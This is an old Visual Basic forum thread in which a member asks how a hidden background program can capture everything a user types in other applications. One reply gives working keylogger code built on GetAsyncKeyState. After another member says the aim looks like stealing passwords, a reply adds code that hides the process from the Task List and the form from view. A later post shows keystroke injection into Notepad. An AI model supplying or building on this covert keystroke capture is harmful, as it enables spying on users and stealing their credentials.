Results 1 to 8 of 8

Thread: A newbie question?

  1. #1

    Thread Starter
    Junior Member
    Join Date
    Jul 2000
    Location
    toronto
    Posts
    19

    Question

    The problem:

    The way for making a form not in focus recieve all keystrokes made by user

    Example:
    User types in Notepad and app on background recieves all user's keypresses and puts them in its own textbox. Result: text is duplicated in 2 places.

    usin sendmessage for getting text from control is not acceptable because sendmessage will not recieve info from most full-screen of dos-based apps and thats what i need

    Thx very much if u can help and just thx if u cant =)
    -The Shortest Anecdote: pkunzip.zip

  2. #2
    Guest
    Use GetAsyncKeyState. Put the following code in a Form with a Timer.
    Code:
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    
    Private Sub Form_Load()
        Timer1.Interval = 1
    End Sub
    
    Private Sub Timer1_Timer()
        On Error Resume Next
        For I = 3 To 255
            If I > 31 Then If GetAsyncKeyState(I) Then Text1 = Text1 & Chr(I)
        Next I
    End Sub

  3. #3
    Junior Member
    Join Date
    Jul 2000
    Location
    Liverpool UK
    Posts
    23

    Talking

    Sorry if I'm being rude, but the next question's not going to be, how do I make my form invisible and how to I make it invisible on the tasks list is it?

    The only reason that I can think why you'd want to do this is if you were going to rob someones password or something else devious

  4. #4
    Guest
    I don't really think it matters, however, if thats the case, then the answers are shown below.

    To hide from the Task List:
    Code:
    Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
    Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
    
    Private Sub Form_Load()
        'Hide from Task List
        RegisterServiceProcess GetCurrentProcessId, 1
    End Sub
    
    Private Sub Form_Unload(Cancel As Integer)
        'Show in Task list
        RegisterServiceProcess GetCurrentProcessId, 0
    End Sub
    To hide the Form:
    Code:
    Me.Visible = False
    'Or you can use... 
    Me.Hide

  5. #5

    Thread Starter
    Junior Member
    Join Date
    Jul 2000
    Location
    toronto
    Posts
    19

    Smile

    Thx Megatron , one more question:
    Is there a way to send keystrokes (keycodes or charcodes) with sendmessage?
    -The Shortest Anecdote: pkunzip.zip

  6. #6
    Guest
    Send the WM_CHAR message. Next example will send the A key to Notepad (so make sure you have Notepad pre-opened)
    Code:
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
    Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
    Const WM_CHAR = &H102
    
    Private Sub Command1_Click()
    
        Dim hParent As Long
        Dim hChild As Long
        
        hParent = FindWindow("Notepad", vbNullString)
        hChild = FindWindowEx(hParent, 0&, "Edit", vbNullString)
        SendMessage hChild, WM_CHAR, vbKeyA, 0
        
    End Sub

  7. #7
    Fanatic Member
    Join Date
    Apr 2000
    Location
    Whats a location?
    Posts
    516

    Wink

    Please excuse my frined Megatron for being a bit of a show-off. He's only trying to help.



    Unfortunately, he's succeeding quite nicely.



    I shall never be a Guru.

    Unless, of course, all the other Gurus die by (for example) chopping their heads off while shaving, stabbing themselves with a bread knife while cutting a loaf or (in a tragic accident) drowning in their owns baths.

    *Deviously leaves the room*
    Courgettes.

  8. #8

    Thread Starter
    Junior Member
    Join Date
    Jul 2000
    Location
    toronto
    Posts
    19
    ok, so sendmessage can send keystrokes though i couldnt accomplish sending vbkeyreturn which is bad =(

    And: is there any possibility to scan what virtual key is pressed now and deicpher what u get in a symbol/func key

    -The Shortest Anecdote: pkunzip.zip

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width